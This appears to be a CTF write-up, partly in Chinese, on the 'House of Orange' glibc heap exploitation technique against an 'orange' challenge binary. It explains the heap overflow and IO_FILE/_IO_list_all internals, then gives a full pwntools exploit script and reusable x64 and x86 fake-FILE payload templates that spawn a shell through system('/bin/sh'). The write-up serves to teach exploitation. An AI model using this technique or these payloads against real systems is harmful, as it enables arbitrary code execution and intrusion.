House of Orange
House of Orange
Start
长久没用今天做IO_FILE的时候重做了一遍感觉 理解更深。 顺便追了一下关于IO_FILE的源码
Analysis
程序主要有两个结构体:info & house
info struc ; (sizeof=0x8, mappedto_9)
00000000 price dd ?
00000004 color dd ?
00000008 info ends
00000008
house
00000000 house struc ; (sizeof=0x10, mappedto_6)
00000000 infomation dq ? ; offset
00000008 name dq ?
00000010 house ends
主要功能有:
- add():4次
- upgrade():3次
- show()
保护全开
漏洞分析
主要漏洞点比较清楚edit的时候可以任意输入size
int edit()
{
info *info_ptr; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
signed int color_num; // [rsp+Ch] [rbp-14h]
if ( times > 2u )
return puts("You can't upgrade more");
if ( !ptr )
return puts("No such house !");
printf("Length of name :");
size = read_int();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
read_n((void *)ptr->name, size); // over flow
printf("Price of Orange: ", size);
info_ptr = ptr->infomation;
info_ptr->price = read_int();
show_color();
printf("Color of Orange: ");
color_num = read_int();
if ( color_num != 56746 && (color_num <= 0 || color_num > 7) )
{
puts("No such color");
exit(1);
}
if ( color_num == 56746 )
ptr->infomation->color = 56746;
else
ptr->infomation->color = color_num + 30;
++times;
return puts("Finish");
}
前置技能
0x00 sysmalloc
'''
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
'''
two assert s
'''
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
'''
* old_size > 0x1f
* old_size & 1==1
* (old_top+old_size)&0xfff=0
* size > old_size
所以可以修改topchunk_size malloc 一个较大的chunk 把原来的chunk放入unsorted bin
0x01 printerr
source is the best teacher
malloc_printerr (const char *str)
{
__libc_message (do_abort, "%s\n", str);
__builtin_unreachable ();
}
and abort will call fflush
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
and _IO_flush_all will call _IO_flush_all_lockp
_IO_flush_all (void)
{
/* We want locking. */
return _IO_flush_all_lockp (1);
}
and it will call _IO_flush_all_lockp
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
this function will clear the list of file
IO_list_all
IO_FILE 是一个单链表结构 chain指针指向下一个fp 而IO_list_all指向第一个IO_file
IO_list_file====>stderr ====>stdout =====>stdin
... I ... I
... I ... I
... I ... I
chain== I chain==== I
... ...
如上抽象画 而新链入得fp->chain指向原来的第一项 IO_list_file 指向fp
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
solution
- leak
- no free,but we can use free in sysmalloc
- 通过overwrite topchunk
- malloc big chunk and then topchunk will be put in unsortedbin
- malloc >512 we can get libc&heap address #large bin
- leak finished
- cant do force because chunk size<0x10000
- we can use unsorted bin atk to make &main_arena+88 == _IO_list_all
- so main_arena+88 is the first IO_FILE struct but we cant control main_arene
- so we should fill main_arena+88+0x60 with fake_chunk_address
- main_arena+88+0x60 is the 0x60:smallbin[4]
- so we upgrade to over write the unsorted bin like
fake = "/bin/sh\x00"+p64(0x61)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(0)+p64(1) fake =fake.ljust(0xa0,'\x00')+p64(fio+0x8) fake =fake.ljust(0xc0,'\x00')+p64(1) fake = fake.ljust(0xd8, '\x00')+p64(fio+0xd8-0x10)+p64(libc.symbols['system'])
- then call malloc to call printerr
EXP
#utf-8
from pwn import *
#context.log_level='debug'
def cmd(c):
p.sendlineafter("Your choice : ",str(c))
def add(size,name,price=0,color=2):
cmd(1)
p.sendlineafter("Length of name :",str(size))
p.sendafter("Name :",name)
p.sendlineafter("Price of Orange:",str(price))
p.sendlineafter("Color of Orange:",str(color))
def show():
cmd(2)
def edit(size,name,price=0,color=2):
cmd(3)
p.sendlineafter("Length of name :",str(size))
p.sendafter("Name:",name)
p.sendlineafter("Price of Orange:",str(price))
p.sendlineafter("Color of Orange:",str(color))
p=process("./orange")
add(0x18,"AAAA")#0
edit(0x70,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)+p64(0))
add(0xff0,"BBBB")#1
add(0x608,"\n")#2
#leak
show()
p.readuntil("Name of house : \n")
base=u64(("\x00"+p.readline()[:-1]+"\x00").ljust(8,'\x00'))-(0x7ffff7dd2100-0x00007ffff7a0d000)
edit(0x20,"A"*0x10)
show()
p.readuntil("A"*0x10)
heap=u64((p.readline()[:-1]).ljust(8,'\x00'))-(0x5555557580c0-0x0000555555758000)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address=base
#gdb.attach(p,'b _IO_flush_all_lockp')
log.warning(hex(base))
log.warning(hex(heap))
#leak over
#sizeof (IO_FILE+8)=0xa0
fio=heap+0x5555557586f0-0x0000555555758000
payload="A"*0x608+p64(0x21)+p64(0)*2
fake = "/bin/sh\x00"+p64(0x61)+p64(libc.symbols['system'])+p64(libc.symbols['_IO_list_all']-0x10)+p64(0)+p64(1)
fake =fake.ljust(0xa0,'\x00')+p64(fio+0x8)
fake =fake.ljust(0xc0,'\x00')+p64(1)
fake = fake.ljust(0xd8, '\x00')+p64(fio+0xd8-0x10)+p64(libc.symbols['system'])
payload=payload+fake
edit(0xfff,payload)
cmd(1)
p.interactive()
Modules
x64
fake = "/bin/sh\x00"+p64(0x61)+p64(libc.symbols['system'])+p64(libc.symbols['_IO_list_all']-0x10)+p64(0)+p64(1)
fake =fake.ljust(0xa0,'\x00')+p64(fio+0x8)
fake =fake.ljust(0xc0,'\x00')+p64(1)
fake = fake.ljust(0xd8, '\x00')+p64(fio+0xd8-0x10)+p64(libc.symbols['system'])
x86
fake = "sh\x00\x00"+p32(0x31)+p32(libc.symbols['system'])+p32(libc.symbols['_IO_list_all']-0x8)+p32(0)+p32(1)
fake =fake.ljust(0x48,'\x00')+p32(fio+0x4)
fake =fake.ljust(0x88,'\x00')+p32(1)
fake = fake.ljust(0x94, '\x00')+p32(fio+0x94-0x8)+p32(libc.symbols['system'])